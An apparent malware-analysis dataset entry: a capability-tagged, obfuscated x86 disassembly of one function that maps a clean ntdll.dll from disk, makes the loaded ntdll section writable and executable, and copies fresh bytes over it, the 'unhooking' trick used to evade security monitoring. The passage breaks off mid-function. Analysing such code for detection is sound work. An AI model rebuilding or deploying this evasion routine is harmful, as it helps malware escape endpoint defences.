Function at 0x40efb0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x80
mov eax, dword [0x530080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
mov edx, ecx
sub edx, 0xf881f0e4
sub edx, 1
add edx, 0xf881f0e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x6e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x6d], al
mov dword [ebp - 0x74], 0x1a733e3c
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
sub eax, 0x82e0f926
je 0x40fc76
jmp 0x40f01c
mov eax, dword [ebp - 0x78]
sub eax, 0x855d3bb9
je 0x40f4e8
jmp 0x40f02f
mov eax, dword [ebp - 0x78]
sub eax, 0x861378d7
je 0x40f9cb
jmp 0x40f042
mov eax, dword [ebp - 0x78]
sub eax, 0x86a28d5d
je 0x40fced
jmp 0x40f055
mov eax, dword [ebp - 0x78]
sub eax, 0x88614ff3
je 0x410086
jmp 0x40f068
mov eax, dword [ebp - 0x78]
sub eax, 0x8889db9c
je 0x410188
jmp 0x40f07b
mov eax, dword [ebp - 0x78]
sub eax, 0x8d3ea5d2
je 0x40fe54
jmp 0x40f08e
mov eax, dword [ebp - 0x78]
sub eax, 0x93e0b718
je 0x40fc6a
jmp 0x40f0a1
mov eax, dword [ebp - 0x78]
sub eax, 0x9929d3c6
je 0x40f8b1
jmp 0x40f0b4
mov eax, dword [ebp - 0x78]
sub eax, 0xac13e6bb
je 0x40fa90
jmp 0x40f0c7
mov eax, dword [ebp - 0x78]
sub eax, 0xad29dc11
je 0x40f7c5
jmp 0x40f0da
mov eax, dword [ebp - 0x78]
sub eax, 0xb4b097ff
je 0x40f830
jmp 0x40f0ed
mov eax, dword [ebp - 0x78]
sub eax, 0xb4e3aa65
je 0x410065
jmp 0x40f100
mov eax, dword [ebp - 0x78]
sub eax, 0xd2c65981
je 0x40f996
jmp 0x40f113
mov eax, dword [ebp - 0x78]
sub eax, 0xdd3d7c6d
je 0x40fb7a
jmp 0x40f126
mov eax, dword [ebp - 0x78]
sub eax, 0xe5ac91af
je 0x40f7aa
jmp 0x40f139
mov eax, dword [ebp - 0x78]
sub eax, 0xe6fffaab
je 0x40fc82
jmp 0x40f14c
mov eax, dword [ebp - 0x78]
sub eax, 0xebc21a8b
je 0x40f6c0
jmp 0x40f15f
mov eax, dword [ebp - 0x78]
sub eax, 0xec29b34d
je 0x40f8bd
jmp 0x40f172
mov eax, dword [ebp - 0x78]
sub eax, 0xf26a715c
je 0x40fd89
jmp 0x40f185
mov eax, dword [ebp - 0x78]
sub eax, 0xf8a01574
je 0x40f5d9
jmp 0x40f198
mov eax, dword [ebp - 0x78]
sub eax, 0xff98fc77
je 0x40f98a
jmp 0x40f1ab
mov eax, dword [ebp - 0x78]
sub eax, 0xfffd36ef
je 0x40fd7d
jmp 0x40f1be
mov eax, dword [ebp - 0x78]
sub eax, 0x8328f4b
je 0x40feae
jmp 0x40f1d1
mov eax, dword [ebp - 0x78]
sub eax, 0xa385a30
je 0x40f75c
jmp 0x40f1e4
mov eax, dword [ebp - 0x78]
sub eax, 0xa6f98b4
je 0x40fa25
jmp 0x40f1f7
mov eax, dword [ebp - 0x78]
sub eax, 0xa91aaf1
je 0x410071
jmp 0x40f20a
mov eax, dword [ebp - 0x78]
sub eax, 0xabb70e7
je 0x40fb03
jmp 0x40f21d
mov eax, dword [ebp - 0x78]
sub eax, 0x10c90544
je 0x40ff7a
jmp 0x40f230
mov eax, dword [ebp - 0x78]
sub eax, 0x11017684
je 0x40f6ef
jmp 0x40f243
mov eax, dword [ebp - 0x78]
sub eax, 0x111145db
je 0x40f70e
jmp 0x40f256
mov eax, dword [ebp - 0x78]
sub eax, 0x1493bdfd
je 0x410033
jmp 0x40f269
mov eax, dword [ebp - 0x78]
sub eax, 0x195a7893
je 0x40ff48
jmp 0x40f27c
mov eax, dword [ebp - 0x78]
sub eax, 0x1a733e3c
je 0x40f3b1
jmp 0x40f28f
mov eax, dword [ebp - 0x78]
sub eax, 0x20260868
je 0x40f90b
jmp 0x40f2a2
mov eax, dword [ebp - 0x78]
sub eax, 0x23206155
je 0x41019e
jmp 0x40f2b5
mov eax, dword [ebp - 0x78]
sub eax, 0x2785a9b1
je 0x40fef4
jmp 0x40f2c8
mov eax, dword [ebp - 0x78]
sub eax, 0x29790a63
je 0x40f6cc
jmp 0x40f2db
mov eax, dword [ebp - 0x78]
sub eax, 0x2ef7904d
je 0x40fdfc
jmp 0x40f2ee
mov eax, dword [ebp - 0x78]
sub eax, 0x372da4e8
je 0x410179
jmp 0x40f301
mov eax, dword [ebp - 0x78]
sub eax, 0x40530ea0
je 0x40f64c
jmp 0x40f314
mov eax, dword [ebp - 0x78]
sub eax, 0x4a8fb059
je 0x40fe60
jmp 0x40f327
mov eax, dword [ebp - 0x78]
sub eax, 0x4dbf8642
je 0x40ff14
jmp 0x40f33a
mov eax, dword [ebp - 0x78]
sub eax, 0x4f9b3c13
je 0x40ff00
jmp 0x40f34d
mov eax, dword [ebp - 0x78]
sub eax, 0x56bf7381
je 0x40fb0f
jmp 0x40f360
mov eax, dword [ebp - 0x78]
sub eax, 0x5a7f23ab
je 0x4100bd
jmp 0x40f373
mov eax, dword [ebp - 0x78]
sub eax, 0x6dbffbcf
je 0x40f3d7
jmp 0x40f386
mov eax, dword [ebp - 0x78]
sub eax, 0x735cfd93
je 0x40f4f4
jmp 0x40f399
mov eax, dword [ebp - 0x78]
sub eax, 0x7bf71f29
je 0x4100e0
jmp 0x40f3ac
jmp 0x4101a5
mov al, byte [ebp - 0x6e]
mov cl, byte [ebp - 0x6d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x10c90544
mov ecx, 0x6dbffbcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.00420840
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], edx
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x6c]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x10c90544
mov ecx, 0x855d3bb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x735cfd93
jmp 0x4101a5
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x74], 0xf8a01574
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
mov edx, ecx
add edx, 0xddbe9cb5
sub edx, 1
sub edx, 0xddbe9cb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1493bdfd
mov ecx, 0x40530ea0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xe9ab87fc
add ecx, eax
sub ecx, 0xe9ab87fc
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov word [eax], 0
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
sub edx, 0xbb94de2b
sub edx, 1
add edx, 0xbb94de2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1493bdfd
mov ecx, 0xebc21a8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x29790a63
jmp 0x4101a5
mov eax, dword [ebp - 0x4c]
movzx eax, word [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], 0x11017684
jmp 0x4101a5
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x74], 0x111145db
jmp 0x4101a5
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
sub edx, 0xf99cff60
sub edx, 1
add edx, 0xf99cff60
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4e3aa65
mov ecx, 0xa385a30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
add edx, 0xff555b43
sub edx, 1
sub edx, 0xff555b43
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4e3aa65
mov ecx, 0xe5ac91af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dl, byte [ebp - 0x2d]
mov eax, 0x4f9b3c13
mov ecx, 0xad29dc11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa91aaf1
mov ecx, 0xb4b097ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
sub eax, 0x99507594
add eax, 0x18
add eax, 0x99507594
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
add eax, 0x1a559d77
add eax, ecx
sub eax, 0x1a559d77
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x4c]
movzx eax, word [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
add edx, 0x93e6855d
sub edx, 1
sub edx, 0x93e6855d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa91aaf1
mov ecx, 0x9929d3c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0xec29b34d
jmp 0x4101a5
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
sub edx, 0x8d99d42
sub edx, 1
add edx, 0x8d99d42
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88614ff3
mov ecx, 0x20260868
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x28]
imul edx, eax, 0x28
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x88614ff3
mov ecx, 0xff98fc77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0xd2c65981
jmp 0x4101a5
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42fcb1
call fcn.00424140
add esp, 8
mov edx, eax
mov eax, 0x861378d7
mov ecx, 0x82e0f926
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x64]
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x44]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x74], 0xa6f98b4
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a7f23ab
mov ecx, 0xac13e6bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x24]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
sub eax, 0x41425d1e
add eax, ecx
add eax, 0x41425d1e
mov dword [ebp - 0x20], eax
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a7f23ab
mov ecx, 0xabb70e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x56bf7381
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bf71f29
mov ecx, 0xdd3d7c6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004209a0
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x64]
mov esi, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x44]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bf71f29
mov ecx, 0x93e0b718
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x82e0f926
jmp 0x4101a5
mov dword [ebp - 0x74], 0xe6fffaab
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x372da4e8
mov ecx, 0x86a28d5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x4c]
mov ax, word [eax]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x1a], ax
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
mov edx, ecx
add edx, 0x14da2c46
sub edx, 1
sub edx, 0x14da2c46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x372da4e8
mov ecx, 0xfffd36ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0xf26a715c
jmp 0x4101a5
mov ecx, dword [0x531564]
mov eax, dword [0x531560]
mov edx, ecx
sub edx, 0x54445ffb
sub edx, 1
add edx, 0x54445ffb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8889db9c
mov ecx, 0x2ef7904d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [ebp - 0x4c]
mov cx, word [ebp - 0x1a]
mov word [eax], cx
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
add edx, 0x6b7c54ee
sub edx, 1
sub edx, 0x6b7c54ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8889db9c
mov ecx, 0x8d3ea5d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x4a8fb059
jmp 0x4101a5
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
mov edx, eax
sub edx, 0x270621f2
sub edx, 1
add edx, 0x270621f2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23206155
mov ecx, 0x8328f4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov eax, dword [0x531564]
mov ecx, dword [0x531560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23206155
mov ecx, 0x2785a9b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4101a5
mov dword [ebp - 0x74], 0x29790a63
jmp 0x4101a5
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x74], 0x4dbf8642
jmp 0x4101a5
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x74], 0x195a7893
jmp 0x4101a5
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fb50
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [ebp - 0x88]
mov edx, eax
mov eax, dword [ebp - 0x84]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.00420840
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x88]
mov esi, eax
mov eax, dword [ebp - 0x84]
mov dword [ecx], esi
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov dword [ebp - 0x74], 0x6dbffbcf
jmp 0x4101a5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0x547728b7
add ecx, eax
sub ecx, 0x547728b7
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov word [eax], 0
mov dword [ebp - 0x74], 0x40530ea0
jmp 0x4101a5
mov dword [ebp - 0x74], 0xa385a30
jmp 0x4101a5
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x74], 0xb4b097ff
jmp 0x4101a5
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x586c4e26
add ecx, eax
add ecx, 0x586c4e26
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov dword [ebp - 0x74], 0x20260868
jmp 0x4101a5
mov eax, dword [ebp - 0x24]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x74], 0xac13e6bb
jmp 0x4101a5
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004209a0
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x64]
mov esi, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub esi, 0xa75479b4
add esi, eax
add esi, 0xa75479b4
mov eax, dword [ebp - 0x44]
sub esp, 0x10
